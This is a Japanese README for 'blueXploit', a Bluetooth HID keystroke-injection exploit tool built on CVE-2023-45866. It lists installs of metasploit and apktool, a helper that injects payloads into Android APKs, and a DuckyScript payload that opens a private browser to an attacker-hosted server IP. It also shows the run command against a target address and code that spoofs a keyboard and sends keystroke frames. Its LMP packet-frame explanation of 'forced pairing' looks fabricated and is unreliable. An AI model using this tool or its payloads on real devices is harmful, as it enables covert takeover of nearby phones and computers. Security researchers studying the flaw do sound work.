
重大なBluetooth脆弱性に基づくエクスプロイト (CVE-2023-45866, CVE-2024-21306)

帰属. この脆弱性と元のエクスプロイトは Marc Newlin 氏の作品です (hi_my_name_is_keyboard) — 私は発見を主張するものではありません。 このリポジトリは脆弱性を理解し文書化するために構築された再現であり、その上に blueXploit は DuckyScript 形式のペイロードランナー、再接続/再試行メカニズム、およびオプションの Android APK 注入ヘルパーを追加します。ここにあるものはすべて教育および研究目的です。
これらの重大な脆弱性 (CVE-2023-45866、CVE-2024-21306) により、攻撃者はユーザーの確認なしにキーストロークを注入し、ペアリング要求を受け入れることができます。これは複数のオペレーティングシステムのセキュリティに深刻な影響を与えます。
Marc Newlin 氏の元のエクスプロイトに基づいています。
依存関係のインストール
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit には Android デバイス上の脆弱性を悪用するためのツールが含まれており、2 つの主要コンポーネントと、injector フォルダにある apkpwn_injector という追加プログラムが用意されています。
.apk アプリケーションに注入します。これらの機能により、管理された環境や侵入テストにおいて、効率的で簡素化された攻撃フローが実現します。

cd injector
python3 apkpwn_injector.py
blueXploit によって実行されるキーコマンドは、/injector/payloads/ フォルダから .txt 形式で読み込まれ、シンプルでわかりやすい構文になっています。
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
IP アドレスをサーバーがホストされているアドレスに変更してください。
デバイスの検出と列挙
bluetoothctl
Bluetooth デバイスのスキャン
scan on
実行
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
その後、必要な、事前に設定されたペイロードを選択します。
完全なデモはこのビデオにあります。
この脆弱性は Bluetooth プロトコルの低レベルで悪用され、主に HID プロファイルと L2CAP プロトコルを操作して、被害者デバイスにキーストロークを注入します。
Bluetooth スタックには、Link Manager Protocol (LMP)、Host Controller Interface (HCI)、L2CAP などの複数の層が含まれます。この攻撃では主に後者の 2 つが使用されます。
HCI: アダプタの設定を操作して、正当な HID デバイスとして認識させます。
L2CAP: デバイス間のデータ多重化を担当し、HID 通信にはチャネル 17 (HID Control) とチャネル 19 (HID Interrupt) が使用され、これらを悪用してキーシーケンスを送信できます。
CVE-2023-45866 は Link Manager Protocol (LMP) の脆弱性であり、「強制ペアリング」攻撃によって悪用されます。技術的には以下のように実行されます。
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
このデータフレームでは:
0x01: LMP ペアリング要求0x01: LMP 認証要求 (PIN)0x00 0x00 0x00 0x00: 弱い PIN 情報、通常は 0000ここでエクスプロイトは、このパケットに対する設定と認証の欠如を利用し、結果的に以下を返します。
LMP Accept: 0x02 0x00 0x00 0x00 0x00
このデータフレームでは:
0x02: LMP ペアリング要求受け入れ0x00 0x00 0x00 0x00: 不正形式の PIN 情報が返されるキーが正しく検証されない場合、実際のペアリングなしで接続が確立されるため、次のように強制ペアリング LMP パケットを送信できます。
LMP Forced Pairing: 0x03 0x01 0x0000
その後、以前に漏洩したキー (「0000」など) を使用して認証を強制し、暗号化された通信チャネルを確立し、適切な検証プロセスを経ずにデバイスをペアリングできます。
これにより、ユーザーに知られることなく、ペアリングウィンドウや通知すら表示されずにペアリングが作成されます。
この CVE の欠陥は、特定のデバイスが LMP 認証要求を適切に検証しないか、古いキーを再利用してしまうことにあります。
デバイスとのペアリングが確立されれば、あとは簡単です。blueXploit.py では、アダプタとデバイスが識別データを偽装し、次のようなコマンドが実行されます。
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
blueXploit コード
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
HID バイトフレームの説明:
a10100001e000000000000
a1: HID レポートタイプを指定01: 受信データに対する HID インターフェースの使用を指定00: キープレスまたはキーリリース00 1e 00 00 00 00: 16 進数値。1e は文字 a に対応その後、ACK を受信して送信が正常に受信されたことを確認します。
警告: このリポジトリの内容およびここで説明する技術は、教育および研究目的に厳密に限定されています。侵入および悪用ツールは、明示的な許可を得たシステムでのみ使用してください。所有していないシステムでこれらの技術を無断で使用することは、多くの管轄区域で禁止されており違法です。このコンテンツの不適切な使用によって生じた損害や悪影響は、すべてユーザーの単独責任です。
ユーザーは、テストラボなどの管理された環境で作業し、情報セキュリティおよび倫理的ハッキングに関連するすべての現地の法律と規制を遵守することをお勧めします。ハッピーハッキング :D